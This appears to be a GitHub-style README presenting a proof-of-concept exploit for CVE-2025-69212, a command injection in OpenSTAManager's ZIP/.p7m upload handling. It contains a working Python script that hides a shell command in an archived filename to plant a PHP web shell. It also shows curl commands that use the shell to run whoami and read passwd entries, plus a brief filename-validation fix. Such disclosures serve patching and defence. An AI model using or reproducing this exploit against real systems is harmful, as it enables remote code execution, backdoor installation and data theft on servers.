OpenSTA-Exploit

Data	Detail
CVE ID	CVE-2025-69212
Vuln Score	critical (9.4)
CWE	78: Improper Neutralization of Special Elements used in an OS Command
Affected Versions	OpenSTAManager <= 2.9.8
Attack vector	upload a ZIP file containing a .p7m file with malicious filename
Auth	Required
Impact	execute arbitrary system commands on the server

Exploit explanation

Stores a shell command in the variable cmd (which does create a file called SHELL.php containing PHP code that can execute commands).
Builds a specially filename hiding the command from cmd variable and saves in malicious_file variable.
Creates a new ZIP file called exploit.zip and opens it for writing.
Adds a file to the ZIP. Its filename is the malicious_file variable.
Malicious filename is injected into the exec() command.

PoC (Proof of Concept)

1. Create zip file to inject

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exec file & upload

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip

3. Exploit result

XML parsing fails after command execution

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verification & remote code execution

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin

Leads to...

Fix

**a simple fix is to validate filenames before processing (Only allow alphanumeric, dots, dashes and underscores to skip invalid filenames)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(or you can simply update lol)

Remote Code Execution	Full server compromise with command execution
Data Exfiltration	Access to all application data and database
Privilege Escalation	Potential escalation if web server runs with elevated privileges or is vulnerable
Persistence	Install backdoors and maintain access in time
Lateral Movement	Pivot to other systems/users on the network

OpenSTA-Exploit

人気

OpenSTA-Exploit

Exploit explanation

PoC (Proof of Concept)

1. Create zip file to inject

2. Exec file & upload

3. Exploit result

4. Verification & remote code execution

Leads to...

Fix